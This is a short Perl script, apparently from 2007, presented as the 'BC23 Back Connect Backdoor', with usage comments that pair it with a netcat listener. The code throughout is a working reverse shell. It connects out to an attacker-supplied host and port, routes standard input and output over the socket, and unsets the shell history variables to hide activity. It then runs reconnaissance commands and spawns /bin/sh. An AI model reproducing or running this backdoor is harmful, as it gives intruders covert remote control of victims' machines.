#!/usr/bin/perl

##########################################
# BC23 - Back Connect Backdoor by SkyOut #
##########################################

# -=- Information -=-
# Author: SkyOut
# Date: July 2007
# Website: http://wired-security.net/
################################################

# -=- Steps to do -=-
#This is a simple Back Connect Backdoor written in
#Perl (v5.8.8). It works the following way:
#
#Start NetCat on your system and open a listener port:
#
#$ nc -l 1337
#
#Connect to this port using the shell:
#
#$ perl BC23.pl 127.0.0.1 1337
#
#The shell will be spawned and you have access to the
#machine. Enjoy!
#####################################################

use IO::Socket;

$ARGC = @ARGV;

if ($ARGC != 2) {
	print "Usage: $0 [Host] [Port]\n";
	exit;
}

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "-=- ERROR -=-\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "-=- ERROR -=-\n";

print "\n-=- CONNECTING TO [$ARGV[0]] AT [$ARGV[1]] -=-\n\n";

open(STDIN,">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

system("unset HISTFILE; unset SAVEHIST;");
system("echo; echo -=- uname -a -=-; uname -a;");
system("echo; echo -=- id -=-; id;");
system("echo; echo -=- w -=-; w;");
system("echo; echo -=- pwd -=-; pwd;");
system("echo; echo BC23 Shell starting...; echo; /bin/sh");